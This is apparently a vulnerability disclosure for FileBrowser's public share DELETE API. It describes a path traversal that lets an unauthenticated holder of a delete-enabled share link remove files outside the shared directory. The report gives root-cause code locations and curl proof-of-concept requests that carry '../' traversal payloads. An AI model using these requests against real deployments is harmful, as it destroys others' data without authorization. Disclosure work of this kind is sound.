FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion

Summary

Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.

Affected Components

Two distinct vulnerable code paths:

1. Stable versions (e.g., gtstef/filebrowser:stable) DELETE /public/api/resources?hash=<hash>&path=../victim Root cause: middleware.go:111 Issue: path query parameter is joined before SanitizeUserPath()
2. Development / HEAD (e.g., commit eabdfd9) DELETE /public/api/resources/bulk?hash=<hash> Body: [{"path":"../victim"}] Root cause: resource.go:274 Issue: item.Path is joined before SanitizeUserPath()

Steps to reproduce (Stable Version)

1. Create a directory structure:

/folder/shared_subdir/   (shared)
/folder/protected.txt    (outside shared directory)

2. Create a public share:

Path: /shared_subdir
AllowDelete=true

3. Send request:

curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt"

#Observe:
#protected.txt is deleted despite being outside the shared directory

Proof of Concept (HEAD / bulk endpoint)

curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" \
  -H "Content-Type: application/json" \
  -d '[{"path":"../protected.txt"}]'

Alternative PoC Scripts:

poc_v3.sh (If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.)

Impact

An unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.